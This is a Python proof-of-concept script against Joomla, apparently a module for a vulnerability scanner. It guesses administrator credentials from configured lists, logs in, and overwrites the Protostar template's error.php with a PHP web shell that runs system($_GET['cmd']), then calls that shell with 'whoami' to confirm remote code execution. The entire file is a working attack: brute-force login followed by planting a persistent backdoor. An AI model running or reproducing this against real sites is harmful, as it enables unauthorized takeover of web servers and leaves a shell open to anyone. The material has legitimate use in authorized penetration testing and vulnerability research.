#!/usr/bin/python
import sys
import requests
import re
import argparse

from json_parse import Jsonparse


def extract_token(resp):
    match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
    if match is None:
        print("[-] Cannot find CSRF token!")
    return match.group(1) 


def try_admin_login(sess, url, uname, upass, level):
    admin_url = url + '/administrator/index.php'
    print('[+] Getting token for admin login')
    try:
        resp = sess.get(admin_url, timeout = level, verify=True)
    except Exception as e:
        return False
    token = extract_token(resp)
    # print token
    if not token:
        return None
    print('[+] Logging in to admin')
    data = {
        'username': uname,
        'passwd': upass,
        'task': 'login',
        token: '1'
    }
    try:
        resp = sess.post(admin_url, data=data, timeout = level, verify=True)
    except Exception as e:
        return False
    if 'task=profile.edit' not in resp.text:
        print('[!] Admin Login Failure!')
        return None
    print('[+] Admin Login Successfully!')
    return True


def check_admin(sess, url, level):
    url_check = url + '/administrator/index.php?option=com_templates'
    try:
        resp = sess.get(url_check, timeout = level, verify=True)
    except Exception as e:
        return False
    token = extract_token(resp)
    if not token:
        print "[-] You are not administrator!"
        return False
    return token


def rce(sess, url, cmd, level):
    token = check_admin(sess, url, level)
    if token == False:
        return False
    filename = 'error.php'
    shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D'
    shdata_up = {
        'jform[source]': "<?php echo 'Hacked by HK\n' ;system($_GET['cmd']); ?>",
        'task': 'template.apply',
        token: '1',
        'jform[extension_id]': '506',
        'jform[filename]': '/' + filename
    }
    sess.post(shlink, data=shdata_up, timeout = level)
    path2shell = '/templates/protostar/error.php?cmd=' + cmd
    # print '[+] Shell is ready to use: ' + str(path2shell)
    print '[+] Checking:'
    shreq = sess.get(url + path2shell, timeout = level)
    shresp = shreq.text
    print shresp + '[+] Shell link: \n' + (url + path2shell)
    print '[+] Module finished.'
    if shreq.status_code == 200 and 'Hacked by HK' in shresp:
        return True
    else:
        return False


def main():
    jsonfile = sys.argv[1] + '\\poc\\lib\\config.json'
    jsonobj = Jsonparse(jsonfile)
    jsondata = jsonobj.parse()
    target = sys.argv[2]
    command = 'whoami'
    timeout = jsondata['timeout']
    port = sys.argv[3]
    users = jsondata['joomla']['users']
    passwords = jsondata['joomla']['passwords']
    for j in range(1, len(users) + 1):
        for z in range(1, len(passwords) + 1):
            sess = requests.Session()
            url = 'http://' + target + ":" + port
            if try_admin_login(sess, url, users[str(j)], passwords[str(z)], timeout) == True \
                and rce(sess, url, command, timeout) == True:
                print('[*] Joomla rce remote code execution vulnerability exists!')
                exit(233)
            elif try_admin_login(sess, url, users[str(j)], passwords[str(z)], timeout) == False:
                print('[-] Request connection exception')
                exit(1) 
    print('[-] There is no correct administrator account')
    exit(-1)
                
                

if __name__ == "__main__":
    main()

